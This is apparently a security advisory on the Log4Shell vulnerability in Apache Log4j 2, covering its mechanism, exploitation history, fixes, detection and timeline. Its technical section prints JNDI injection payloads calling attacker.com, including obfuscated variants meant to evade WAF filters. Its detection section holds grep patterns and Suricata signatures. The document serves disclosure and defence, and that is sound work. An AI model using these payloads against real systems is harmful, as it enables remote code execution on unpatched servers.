Background
Apache Log4j 2 is one of the most widely used Java logging libraries, embedded in hundreds of thousands of software products across virtually every industry vertical. Applications ranging from enterprise software (VMware vCenter, Cisco, Fortinet products) to consumer services (Steam, Minecraft) to government systems all use Log4j 2. Its near-universal adoption in the Java ecosystem made CVE-2021-44228 (“Log4Shell”) one of the most significant vulnerabilities ever discovered.
Discovered by Chen Zhaojun of Alibaba Cloud Security Team and disclosed on December 9, 2021, Log4Shell achieves RCE through a JNDI injection attack embedded in logged strings. The CVSS 10.0 score reflects the combination of zero-authentication requirement, complete trivial exploitation, and the extraordinary breadth of the attack surface. CISA Director Jen Easterly called it “the most serious vulnerability” she had seen in her career.
Technical Mechanism
Log4j 2 introduced a feature called “message lookup substitution” that evaluates special expressions embedded in log messages. When an application logs a string like ${env:USER}, Log4j replaces it with the value of the USER environment variable. This feature supports multiple lookup types, including JNDI (Java Naming and Directory Interface).
The ${jndi:...} lookup allows Log4j to make a JNDI lookup to an external server specified in the string. JNDI supports multiple protocols including LDAP, RMI, and DNS. When the lookup is to an attacker-controlled server, the LDAP response can return a Java class that gets loaded and executed in the victim’s JVM:
# The exploit payload — just a string that gets logged
${jndi:ldap://attacker.com/exploit}
# Variants to bypass WAF filters
${${lower:j}ndi:${lower:l}dap://attacker.com/exploit}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attacker.com/exploit}
${j${::-n}di:ldap://attacker.com/exploit}
${${upper:j}ndi:ldap://attacker.com/exploit}
Attacker’s LDAP server response contains a pointer to a Java class (via codebase URL). The victim JVM downloads and instantiates this class, executing its static initialiser or constructor — arbitrary attacker code running with the privileges of the application.
Any application input that eventually gets logged by Log4j is a potential injection point:
- HTTP request headers (User-Agent, X-Forwarded-For, Accept-Language, Authorization)
- URL parameters
- Form fields
- Username/password fields
- Any other user-controlled data that is logged
// Vulnerable application code (logging user input)
logger.info("User login attempt: " + username);
// Malicious username value:
// ${jndi:ldap://attacker.com/exploit}
// Results in: logger.info("User login attempt: ${jndi:ldap://attacker.com/exploit}")
// Log4j evaluates the JNDI expression and loads attacker's Java class
Real-World Exploitation Evidence
Log4Shell triggered an immediate global response, with exploitation beginning within hours of public disclosure:
- Nation-state actors: Chinese, Iranian, North Korean, and Russian APT groups were all documented exploiting Log4Shell within days. CISA, NSA, and international partners published a joint advisory attributing active exploitation to multiple nation-states.
- Ransomware groups: Multiple ransomware families incorporated Log4Shell into their infection chains, including Conti, BitLocker-based ransomware, and others.
- Cryptominer campaigns: Large-scale cryptominer deployments used Log4Shell as the initial access vector across cloud infrastructure.
- Botnet recruitment: Multiple botnets (Mirai variants, others) attempted to exploit Log4Shell across IoT and server infrastructure.
- Minecraft exploitation: The vulnerability was initially demonstrated in Minecraft Java Edition, as players could send crafted messages in chat that would be logged by the server.
The vulnerability remained in active exploitation years after disclosure, appearing in CISA KEV and continuing to be exploited opportunistically against unpatched systems.
Impact Assessment
The Log4Shell impact is defined by breadth rather than depth per-instance:
- Universal Java application exposure: Any Java application using Log4j 2.0-beta9 through 2.14.1 is potentially vulnerable.
- Zero-authentication: No credentials needed — any logged user input suffices.
- Indirect exploitation paths: Applications that log data received from other applications also expose the vulnerability transitively.
- Complete application compromise: Java RCE in an application context with that application’s permissions.
- Cloud infrastructure: Cloud services, SaaS platforms, and internal applications were all affected — the attack surface extends to services not directly internet-facing if they process user-influenced data.
Affected Versions
| Product | Affected Versions | Fixed Version |
|---|---|---|
| Apache Log4j 2 | 2.0-beta9 – 2.14.1 | 2.15.0+ |
| Apache Log4j 2 (partial fix) | 2.15.0 (CVE-2021-45046) | 2.16.0+ |
| Apache Log4j 2 (final) | All | 2.17.0+ (full fix for all variants) |
| Apache Log4j 1.x | Legacy — not vulnerable to JNDI but has other critical CVEs | N/A (EOL) |
Note: Three variants of Log4j vulnerabilities were found in quick succession: CVE-2021-44228 (JNDI), CVE-2021-45046 (DoS/RCE bypass), CVE-2021-45105 (DoS). Upgrade to 2.17.1+ (Java 8) or 2.12.4+ (Java 7) for complete remediation.
Remediation Steps
-
Upgrade Log4j to 2.17.1+ (Java 8), 2.12.4+ (Java 7), or 2.3.2+ (Java 6). This is the definitive fix.
-
Short-term JVM mitigation (for older Log4j versions that cannot be immediately updated):
# Add JVM argument to disable JNDI lookups -Dlog4j2.formatMsgNoLookups=true # Or set environment variable LOG4J_FORMAT_MSG_NO_LOOKUPS=true -
WAF rules: Deploy WAF rules blocking JNDI lookup patterns in HTTP headers and body:
Block patterns: \$\{jndi:, \$\{[A-Z]+\}\{jndi:, encoded JNDI variants -
Inventory all Log4j usage: Use tools like
log4j-scan, Grype, or Syft to identify all applications using vulnerable Log4j versions, including transitive dependencies. -
Block outbound LDAP/RMI from application servers: Prevent callback connections to attacker infrastructure even if JNDI lookup is triggered.
Detection Guidance
Log sources:
- Application logs for JNDI lookup patterns
- Network logs for outbound LDAP (389/636) and RMI (1099) connections from application servers
- DNS logs for lookups to unexpected domains
Detection patterns:
# Search application logs for JNDI injection attempts
grep -r "\${jndi:" /var/log/
grep -r "%24%7Bjndi%3A" /var/log/ # URL-encoded variant
# Network: outbound LDAP from app servers
# Alert on TCP 389 or 636 outbound from internal app server IPs
Suricata signature:
alert http any any -> any any (msg:"Apache Log4j CVE-2021-44228 JNDI Injection"; flow:established; content:"${jndi:"; nocase; sid:9002144; rev:2;)
alert http any any -> any any (msg:"Apache Log4j CVE-2021-44228 JNDI Obfuscated"; flow:established; pcre:"/\$\{[^}]*j[^}]*n[^}]*d[^}]*i[^}]*:/i"; sid:9002145; rev:2;)
Timeline
| Date | Event |
|---|---|
| November 24, 2021 | Alibaba Cloud Security (Chen Zhaojun) reports to Apache |
| December 9, 2021 | Public disclosure; exploitation begins immediately |
| December 10, 2021 | Apache releases Log4j 2.15.0 (incomplete fix) |
| December 10, 2021 | CISA adds CVE-2021-44228 to KEV catalogue |
| December 13, 2021 | Apache releases Log4j 2.16.0 (disables JNDI by default) |
| December 17, 2021 | Apache releases Log4j 2.17.0 (complete fix) |
| December 2021 | Multiple nation-state APT campaigns documented |
| January 2022 | CISA issues supplemental advisory on continued exploitation |